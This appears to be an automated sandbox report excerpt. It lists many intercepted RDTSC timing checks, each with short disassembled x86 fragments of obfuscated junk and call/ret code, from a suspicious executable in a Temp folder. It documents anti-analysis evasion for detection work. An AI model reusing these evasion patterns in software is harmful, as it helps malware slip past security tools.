Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF6F60 second address: DF6F6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA458BC4736h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF6F6A second address: DF6F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF6F6E second address: DF6F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FA458BC4736h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF7087 second address: DF708B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF708B second address: DF70A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA458BC4743h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF72E2 second address: DF72E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF72E6 second address: DF72EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF72EC second address: DF72F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF7486 second address: DF7494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC473Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF7594 second address: DF75BE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA458503DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FA458503E09h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF75BE second address: DF75C8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA458BC473Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF7AE2 second address: DF7B2F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e pop edi 0x0000000f nop 0x00000010 add esi, dword ptr [ebp+122D361Fh] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FA458503DF8h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D2A2Ch], ecx 0x00000038 push 00000000h 0x0000003a sub dword ptr [ebp+122D30D4h], eax 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 push ebx 0x00000045 pop ebx 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF84D1 second address: DF8536 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA458BC4736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FA458BC473Ch 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FA458BC4738h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov si, 094Fh 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007FA458BC4738h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push ecx 0x00000053 pop ecx 0x00000054 push eax 0x00000055 pop eax 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF8536 second address: DF8540 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA458503DFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF9516 second address: DF951C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF951C second address: DF9588 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA458503DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f jmp 00007FA458503E01h 0x00000014 pop edx 0x00000015 push eax 0x00000016 jmp 00007FA458503DFDh 0x0000001b pop eax 0x0000001c popad 0x0000001d nop 0x0000001e and esi, dword ptr [ebp+122D1F82h] 0x00000024 push 00000000h 0x00000026 mov dword ptr [ebp+122D3582h], edx 0x0000002c push 00000000h 0x0000002e mov esi, dword ptr [ebp+122D3523h] 0x00000034 xchg eax, ebx 0x00000035 jne 00007FA458503E09h 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f jnl 00007FA458503DF6h 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF9588 second address: DF958C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF9F5D second address: DF9F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DFAAEB second address: DFAB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA458BC4748h 0x00000009 popad 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FA458BC4738h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov esi, 38F9CFE9h 0x0000002d stc 0x0000002e push 00000000h 0x00000030 or edi, dword ptr [ebp+122D1ACFh] 0x00000036 push 00000000h 0x00000038 and edi, dword ptr [ebp+122D383Bh] 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push ecx 0x00000044 pop ecx 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DFAB45 second address: DFAB4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DFAB4B second address: DFAB51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DFAB51 second address: DFAB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E02907 second address: E0291D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC4742h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0291D second address: E0298E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FA458503DF8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 xor ebx, 17AD3024h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007FA458503DF8h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 sbb edi, 7A1EF305h 0x0000004b push 00000000h 0x0000004d mov ebx, dword ptr [ebp+122D365Fh] 0x00000053 mov edi, dword ptr [ebp+122D1CD8h] 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jng 00007FA458503DF6h 0x00000064 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0298E second address: E02998 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA458BC4736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E02998 second address: E029A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FA458503DF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E06824 second address: E06899 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA458BC4744h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FA458BC4738h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D346Fh], edi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007FA458BC4738h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b mov di, ax 0x0000004e push 00000000h 0x00000050 mov bx, 21C2h 0x00000054 xchg eax, esi 0x00000055 pushad 0x00000056 push ebx 0x00000057 push edi 0x00000058 pop edi 0x00000059 pop ebx 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DFFD43 second address: DFFE03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FA458503E06h 0x0000000a popad 0x0000000b nop 0x0000000c mov ebx, dword ptr [ebp+122D2A2Ch] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 stc 0x0000001a mov bx, 8FF5h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 mov dword ptr [ebp+1247FAC3h], edi 0x0000002b mov eax, dword ptr [ebp+122D1591h] 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007FA458503DF8h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b cld 0x0000004c jmp 00007FA458503E06h 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push edi 0x00000056 call 00007FA458503DF8h 0x0000005b pop edi 0x0000005c mov dword ptr [esp+04h], edi 0x00000060 add dword ptr [esp+04h], 0000001Ah 0x00000068 inc edi 0x00000069 push edi 0x0000006a ret 0x0000006b pop edi 0x0000006c ret 0x0000006d mov bh, al 0x0000006f nop 0x00000070 push eax 0x00000071 push edx 0x00000072 push ecx 0x00000073 jmp 00007FA458503E08h 0x00000078 pop ecx 0x00000079 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DFFE03 second address: DFFE1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA458BC4747h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E089AB second address: E089B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E089B1 second address: E089B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E089B5 second address: E089B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E089B9 second address: E08A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FA458BC4738h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 sub dword ptr [ebp+1245B0D6h], ebx 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+1246BFDFh], ecx 0x00000033 push 00000000h 0x00000035 pushad 0x00000036 movsx eax, di 0x00000039 popad 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FA458BC4749h 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E099EE second address: E09A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d jbe 00007FA458503DF8h 0x00000013 mov bh, 10h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FA458503DF8h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 push 00000000h 0x00000033 mov edi, dword ptr [ebp+122D19F1h] 0x00000039 xchg eax, esi 0x0000003a pushad 0x0000003b jnl 00007FA458503DF8h 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FA458503E05h 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E09A4C second address: E09A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E09A50 second address: E09A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E08C05 second address: E08C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FA458BC4736h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E07A8D second address: E07B29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FA458503DF8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov edi, ecx 0x00000028 push dword ptr fs:[00000000h] 0x0000002f movsx edi, di 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 mov ebx, dword ptr [ebp+122D1F88h] 0x0000003f mov edi, 44E6F300h 0x00000044 mov eax, dword ptr [ebp+122D02C9h] 0x0000004a push FFFFFFFFh 0x0000004c pushad 0x0000004d mov dword ptr [ebp+122D1C09h], ecx 0x00000053 mov ecx, 037DBACDh 0x00000058 popad 0x00000059 nop 0x0000005a pushad 0x0000005b jnl 00007FA458503E0Fh 0x00000061 jc 00007FA458503DFCh 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E08C0F second address: E08C13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E07B29 second address: E07B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FA458503DFEh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0BF31 second address: E0BFD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC473Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FA458BC4749h 0x0000000f nop 0x00000010 mov edi, dword ptr [ebp+122D3813h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FA458BC4738h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 jp 00007FA458BC4736h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007FA458BC4738h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 00000016h 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 sbb bx, A626h 0x00000059 jmp 00007FA458BC4747h 0x0000005e xchg eax, esi 0x0000005f push eax 0x00000060 push edx 0x00000061 jnl 00007FA458BC4738h 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0BFD4 second address: E0BFDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0BFDA second address: E0BFF8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA458BC4736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FA458BC473Bh 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0C174 second address: E0C17E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA458503DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0C17E second address: E0C185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0C24C second address: E0C262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FA458503DFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0C262 second address: E0C273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jns 00007FA458BC4736h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0C273 second address: E0C27D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA458503DFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0EF4C second address: E0EF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0E20B second address: E0E226 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0FD23 second address: E0FD27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0FD27 second address: E0FD6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 and ebx, 1905CC2Fh 0x0000000e push 00000000h 0x00000010 mov bl, D1h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FA458503DF8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D2159h], ebx 0x00000034 push eax 0x00000035 push ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0FD6A second address: E0FD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0FD6E second address: E0FD72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E0FEC5 second address: E0FEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FA458BC4749h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007FA458BC473Ch 0x00000014 jg 00007FA458BC4736h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E180C1 second address: E180C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E180C7 second address: E180CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
